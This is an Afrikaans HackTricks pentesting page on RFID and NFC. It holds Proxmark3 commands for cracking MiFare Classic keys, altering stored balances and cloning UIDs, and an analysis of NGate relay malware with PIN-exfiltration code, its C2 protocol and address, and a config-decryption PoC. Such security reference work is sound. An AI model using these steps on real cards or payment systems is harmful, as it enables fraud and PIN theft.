Pentesting RFID
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die š¬ Discord groep of die telegram groep of volg ons op Twitter š¦ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Inleiding
Radio Frequency Identification (RFID) is die mees populĆŖre kortafstand-radiosolutie. Dit word gewoonlik gebruik om inligting te stoor en oor te dra wat ān entiteit identifiseer.
ān RFID-tag kan staatmaak op sy eie kragbron (aktief), soos ān ingeslote battery, of sy krag ontvang vanaf die leesantenna deur die stroom ingelei deur die ontvangde radiogolwe (passief).
Klasse
EPCglobal verdeel RFID-tags in ses kategorieĆ«. ān Tag in elke kategorie het al die vermoĆ«ns wat in die vorige kategorie gelys is, wat dit agterwaartruigbaar maak.
- Class 0 tags is passiewe tags wat in UHF bande opereer. Die verskaffer preprogrammeer hulle by die produksiefabriek. Gevolglik kan jy nie die inligting wat in hul geheue gestoor is verander nie.
- Class 1 tags kan ook in HF bande opereer. Daarbenewens kan hulle slegs eenkeer geskryf word nĆ” produksie. Baie Class 1-tags kan ook cyclic redundancy checks (CRCs) van die opdragte wat hulle ontvang verwerk. CRCs is ān paar ekstra grepe aan die einde van die opdragte vir foutopsporing.
- Class 2 tags kan meermale geskryf word.
- Class 3 tags kan ingeslote sensors bevat wat omgewingsparameters kan opneem, soos die huidige temperatuur of die tag se beweging. Hierdie tags is semi-passief, omdat hoewel hulle ān ingeslote kragbron het, soos ān geĆÆntegreerde battery, hulle nie draadlose kommunikasie met ander tags of lesers kan inisieer nie.
- Class 4 tags kan kommunikasie met ander tags van dieselfde klas inisieer, wat hulle aktiewe tags maak.
- Class 5 tags kan krag aan ander tags voorsien en met al die vorige tagklasses kommunikeer. Class 5-tags kan as RFID-lesers optree.
Inligting wat in RFID-tags gestoor word
ān RFID-tag se geheue stoor gewoonlik vier soorte data: die identifikasie-data, wat die entiteit identifiseer waaraan die tag geheg is (hierdie data sluit gebruiker-gedefinieerde velde in, soos bankrekeninge); die aanvullende data, wat verdere besonderhede oor die entiteit verskaf; die kontrole-data, wat vir die tag se interne konfigurasie gebruik word; en die tag se vervaardigerdata, wat ān tag se Unique Identifier (UID) en besonderhede oor die tag se produksie, tipe, en verskaffer bevat. Jy sal die eerste twee soorte data in alle kommersiĆ«le tags vind; die laaste twee kan verskil op grond van die tag se verskaffer.
Die ISO-standaard spesifiseer die Application Family Identifier (AFI) waarde, ān kode wat die soort voorwerp aandui waartoe die tag behoort. Nog ān belangrike register, ook deur ISO gespesifiseer, is die Data Storage Format Identifier(DSFID), wat die logiese organisasie van die gebruikersdata definieer.
Die meeste RFID sekuriteitskontroles het meganismes wat die lees of skryf operasies op elke gebruikersgeheueblok en op die spesiale registere wat die AFI- en DSFID-waardes bevat beperk. Hierdie sluit meganismes gebruik data wat in die kontrolegeheue gestoor is en het verstekwagwoorde vooraf deur die verskaffer gekonfigureer, maar laat die tag-eienaars toe om aangepaste wagwoorde te konfigureer.
Vergelyking van Lae- & Hoƫfrekwensie-tags
.png)
Lae-frekwensie RFID-tags (125kHz)
Lae-frekwensie tags word dikwels gebruik in stelsels wat nie hoĆ« sekuriteit benodig nie: gebou-toegang, interkom-sleutels, gimnasium-lidmaatskapkaarte, ens. VanweĆ« hul groter reikafstand is hulle gerieflik vir betaalde motorparkeerareas: die motoriste hoef nie die kaart naby die leser te hou nie, omdat dit van verder af geaktiveer word. Tegelyk is lae-frekwensie tags baie primitief, hulle het ān lae datapropor. Om hierdie rede is dit onmoontlik om ingewikkelde twee-rigting data-oordrag vir dinge soos balansadministrasie en kriptografie te implementeer. Lae-frekwensie tags stuur slegs hul kort ID sonder enige vorm van verifikasie.
Hierdie toestelle maak staat op passiewe RFID-tegnologie en opereer in ān reeks van 30 kHz tot 300 kHz, alhoewel dit meer algemeen is om 125 kHz tot 134 kHz te gebruik:
- Lang Reikwydte ā laer frekwensie vertaal na groter reikafstand. Daar is sekere EM-Marin en HID-lesers wat van ān afstand tot ān meter werk. Hierdie word dikwels in motorparkeerareas gebruik.
- Primitiewe protokol ā as gevolg van die lae datapropor kan hierdie tags slegs hul kort ID stuur. In die meeste gevalle word data nie geverifieer nie en dit is op geen manier beskerm nie. Sodra die kaart in die leser se bereik is, begin dit net om sy ID te stuur.
- Lae sekuriteit ā Hierdie kaarte kan maklik gekopieer word, of selfs vanaf iemand anders se sak gelees word as gevolg van die protokol se primitiewe aard.
PopulĆŖre 125 kHz protokolle:
- EM-Marin ā EM4100, EM4102. Die gewildste protokol in CIS. Kan van ongeveer ān meter gelees word weens sy eenvoud en stabiliteit.
- HID Prox II ā lae-frekwensie protokol ingestel deur HID Global. Hierdie protokol is meer gewild in Westerse lande. Dit is meer kompleks en die kaarte en lesers vir hierdie protokol is redelik duur.
- Indala ā baie ou lae-frekwensie protokol wat deur Motorola bekend gestel is en later deur HID aangekoop is. Jy sal dit minder gereeld in die natuur teĆ«kom in vergelyking met die vorige twee omdat dit uit gebruik raak.
In werklikheid is daar baie meer lae-frekwensie protokolle. Maar hulle gebruik almal dieselfde modulering op die fisiese laag en kan in een of ander opsig as variasies van die hierbo gelysde beskou word.
Aanval
Jy kan hierdie Tags aanval met die Flipper Zero:
Hoƫfrekwensie RFID-tags (13.56 MHz)
HoĆ«frekwensie tags word gebruik vir ān meer komplekse leser-tag interaksie wanneer jy kriptografie, ān groot twee-rigting data-oordrag, verifikasie, ens. nodig het.
Dit word gewoonlik in bankkaarte, openbare vervoer en ander veilige pas gebruik.
HoĆ«frekwensie 13.56 MHz tags is ān stel standaarde en protokolle. Hulle word gewoonlik as NFC verwys, maar dit is nie altyd korrek nie. Die basiese protokolstel wat op die fisiese en logiese vlak gebruik word, is ISO 14443. HoĆ«vlakprotokolle, sowel as alternatiewe standaarde (soos ISO 19092), is daarop gebaseer. Baie mense verwys na hierdie tegnologie as Near Field Communication (NFC), ān term vir toestelle wat oor die 13.56 MHz frekwensie werk.
.png)
Om dit eenvoudig te stel, werk NFC se argitektuur soos volg: die oordragsprotokol word deur die maatskappy wat die kaarte maak gekies en geïmplementeer gebaseer op die laevlak ISO 14443. Byvoorbeeld, NXP het sy eie hoëvlak oordragsprotokol uitgevind genaamd Mifare. Maar op die laer vlak is Mifare-kaarte gebaseer op die ISO 14443-A standaard.
Flipper kan met beide die laevlak ISO 14443-protokol interaksie hĆŖ, sowel as Mifare Ultralight data-oordragsprotokol en EMV wat in bankkaarte gebruik word. Ons werk daaraan om ondersteuning vir Mifare Classic en NFC NDEF by te voeg. ān Grondige kyk na die protokolle en standaarde wat NFC uitmaak is die moeite werd vir ān aparte artikel wat ons beplan om later te publiseer.
Alle hoĆ«frekwensie-kaarte gebaseer op die ISO 14443-A standaard het ān unieke chip-ID. Dit tree op soos die kaart se seriĆ«le nommer, soos ān netwerkkaart se MAC-adres. Gewoonlik is die UID 4 of 7 grepe lank, maar kan selde tot 10 gaan. UIDs is nie ān geheim nie en hulle is maklik leesbaar, soms selfs op die kaart self gedruk.
Daar is baie toegangbeheerstelsels wat op UID staatmaak om te verifieer en toegang te verleen. Soms gebeur dit selfs wanneer RFID-tags kriptografie ondersteun. Sulke misbruik verlaag hulle tot die vlak van die dom 125 kHz kaarte wat sekuriteit betref. Virtuele kaarte (soos Apple Pay) gebruik ān dinamiese UID sodat telefoongebruikers nie deur hul betaalapp deurdeure kan oopmaak nie.
- Lae reeks ā hoĆ«frekwensie-kaarte is spesifiek ontwerp sodat hulle naby die leser geplaas moet word. Dit help ook om die kaart teen ongemagtigde interaksies te beskerm. Die maksimum leesafstand wat ons kon bereik was ongeveer 15 cm, en dit was met pasgemaakte hoĆ«-reeks lesers.
- Gevorderde protokolle ā data-oordragspoed tot 424 kbps laat komplekse protokolle met volwaardige twee-rigting data-oordrag toe. Wat op sy beurt kriptografie, data-oordrag, ens. toelaat.
- HoĆ« sekuriteit ā hoĆ«frekwensie kontaktlose kaarte is op geen manier minder as slimkaarte nie. Daar is kaarte wat kriptografies stewige algoritmes soos AES ondersteun en assymmetriese kriptografie implementeer.
Aanval
Jy kan hierdie Tags aanval met die Flipper Zero:
Of met die proxmark:
MiFare Classic aflyn stoorwaarde-manipulasie (broken Crypto1)
Wanneer ān stelsel ān monetĆŖre balans direk op ān MiFare Classic-kaart stoor, kan jy dit dikwels manipuleer omdat Classic NXP se verouderde Crypto1-sifer gebruik. Crypto1 is al jare lank gebreek, wat die herstel van sektor-sleutels en volle lees/skryf van kaartgeheue met gewone hardeware (bv., Proxmark3) moontlik maak.
Einde-tot-einde werkvloei (geabstraheer):
- Dump the original card and recover keys
# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn
Dit herstel gewoonlik sector keys (A/B) en genereer ān full-card dump in die client dumps folder.
- Lokaliseer en verstaan die value/integrity fields
- Voer wettige top-ups op die original card uit en neem meerdere dumps (before/after).
- Voer ān diff uit van die twee dumps om die veranderende blocks/bytes te identifiseer wat die balance en enige integrity fields verteenwoordig.
- Baie Classic deployments gebruik óf die native āvalue blockā encoding óf roll their own checksums (e.g., XOR of the balance with another field and a constant). Nadat die balance verander is, herbereken die integrity bytes ooreenkomstig en verseker dat alle duplicated/complemented fields konsekwent is.
- Skryf die gemodifiseerde dump na ān writable āChinese magicā Classic tag
# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin
- Kloon die oorspronklike UID sodat terminale die kaart herken
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>
- Gebruik by terminale
Lesers wat op die kaartbalans en die UID vertrou sal die gemanipuleerde kaart aanvaar. Veldwaarnemings wys dat baie implementerings balanswaardes beperk gebaseer op veldwydte (bv., 16-bit vaspunt).
Notes
- If the system uses native Classic value blocks, remember the format: value (4B) + ~value (4B) + value (4B) + block address + ~address. All parts must match.
- For custom formats with simple checksums, differential analysis is the fastest way to derive the integrity function without reversing firmware.
- Only UID-changeable tags (āChinese magicā gen1a/gen2) allow writing block 0/UID. Normal Classic cards have read-only UIDs.
For hands-on Proxmark3 commands, see:
Bou ān draagbare HID MaxiProx 125 kHz Mobile Cloner
As jy ān long-range, battery-powered oplossing nodig het om HID ProxĀ® badges te capture tydens red-team engagements, kan jy die muur-gemonteerde HID MaxiProx 5375 reader omskakel in ān selfstandige cloner wat in ān rugsak pas. Die volledige meganiese en elektriese stap-vir-stap gids is hier beskikbaar:
NFC/EMV Relay via Android ReaderāHCE Emitter
Classic EMV relay kan met 2 Android-toestelle geĆÆmplementeer word: ān slagoffer-side reader wat live APDUs en PIN van ān werklike kaart vang, en ān attacker-side HCE emitter by die terminal wat APDUs upstream deurstuur. Die ontlede NGate-kit misbruik legit Android NFC APIs en ān eenvoudige framed TCP C2 om real-time ATM cash-outs te orkestreer.
Key building blocks
- Reader-mode app (victim): gebruik NFC reader APIs om EMV (PAN/expiry/AIDs) te ontleed, vertoon scheme volgens AID, vra vir PIN en exfiltrates onmiddellik.
- Emitter-mode app (ATM side): implementeer Host Card Emulation (HCE) met
android:requireDeviceUnlock="false"en ān payment AID;processCommandApdu()stuur APDUs na C2 deur en gee ān minimale response terug. - Wire protocol: length-prefixed frames, periodic keepalive; optionally TLS.
Android surface (Manifest/HCE)
<uses-permission android:name="android.permission.NFC"/>
<uses-permission android:name="android.permission.INTERNET"/>
<service android:name=".nfc.hce.ApduService"
android:permission="android.permission.BIND_NFC_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<meta-data android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/hce"/>
</service>
hce.xml voorbeeld (geen unlock + payment AID)
<host-apdu-service android:requireDeviceUnlock="false"
android:description="relay">
<aid-group android:category="other">
<aid-filter android:name="F001020304050607"/>
</aid-group>
<aid-group android:category="payment">
<aid-filter android:name="F001020304050607"/>
</aid-group>
</host-apdu-service>
Deursigtige relay-eindpunt (HCE)
@Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
Log.d("ApduService", "APDU-IN: " + toHex(apdu));
bus.forward(apdu); // send upstream to C2/reader
return new byte[0]; // empty response, pure relay endpoint
}
EMV-skema-afleiding deur AID (voorbeelde)
- A000000004 ā Mastercard
- A000000003 ā Visa
- A000000658 ā MIR
- A000000333 ā UnionPay
PIN-insamelingspatroon (slagoffer UI)
// Custom keypad publishes when required length (e.g., 4) is reached
if (pin.length() == 4) postDelayed(() -> bus.publish(pin), 100L);
// Network immediately exfiltrates via dedicated opcode
send(OP_PIN_REQ, pin.getBytes(StandardCharsets.UTF_8));
Framed C2 (cleartext example)
- ClientāServer: int32 len | int32 opcode | body
- ServerāClient: int32 len | body (opcode inside payload)
- Weier liggame > ~100 MiB; keepalive ~7s (PING)
// send
out.writeInt(body.length); out.writeInt(op); out.write(body); out.flush();
// recv
int len = in.readInt(); byte[] body = new byte[len]; in.readFully(body);
Config verberging: cert-derived XOR
- Native lib lei ān 32-byte sleutel af as SHAā256 van die app signing certificate (DER).
- C2 config is ASCIIāhex in assets (e.g.,
assets/____), hex-decoded en XOR-ed met die sleutel wat elke 32 bytes herhaal:
for (size_t i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];
Offline PoC om config te decrypt
# Extract signing cert digest
apksigner verify --print-certs sample.apk
# "Signer #1 certificate SHA-256 digest: <hex>"
import pathlib
key = bytes.fromhex("<sha256_of_signing_cert>")
ct = bytes.fromhex(pathlib.Path("/path/to/assets/____").read_text().strip())
pt = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))
Voorbeeld van ontsleutelde velde: host, port, sharedToken, tls, mode, reader, uniqueID, ttd.
Relay-ketting (end-to-end)
- Slagoffer installeer die APK, open die app ā native init ontsleutel die config uit assets.
- App verbind met C2 (bv.
91.84.97.13:5653) deur framed TCP te gebruik; keepalive ~7s. - Slagoffer tik die kaart ā reader onttrek PAN/expiry/AIDs en stuur CARD_DISCOVERED.
- Slagoffer voer PIN in ā keypad publiseer en eksfiltreer via PIN_REQ; server antwoord VALID/INVALID net vir die UI.
- Aanvallerstoestel by die terminal laat ān HCE emitter hardloop wat APDUs na die ATM herlei en voer cash-out uit.
Verwysings
- https://blog.flipperzero.one/rfid/
- Letās Clone a Cloner ā Part 3 (TrustedSec)
- NXP statement on MIFARE Classic Crypto1
- MIFARE security overview (Wikipedia)
- NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)
- Analysis of NGate malware campaign (CERT-PL)
- Android apksigner ā verify/print-certs
- Android Host Card Emulation (HCE) overview
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die š¬ Discord groep of die telegram groep of volg ons op Twitter š¦ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

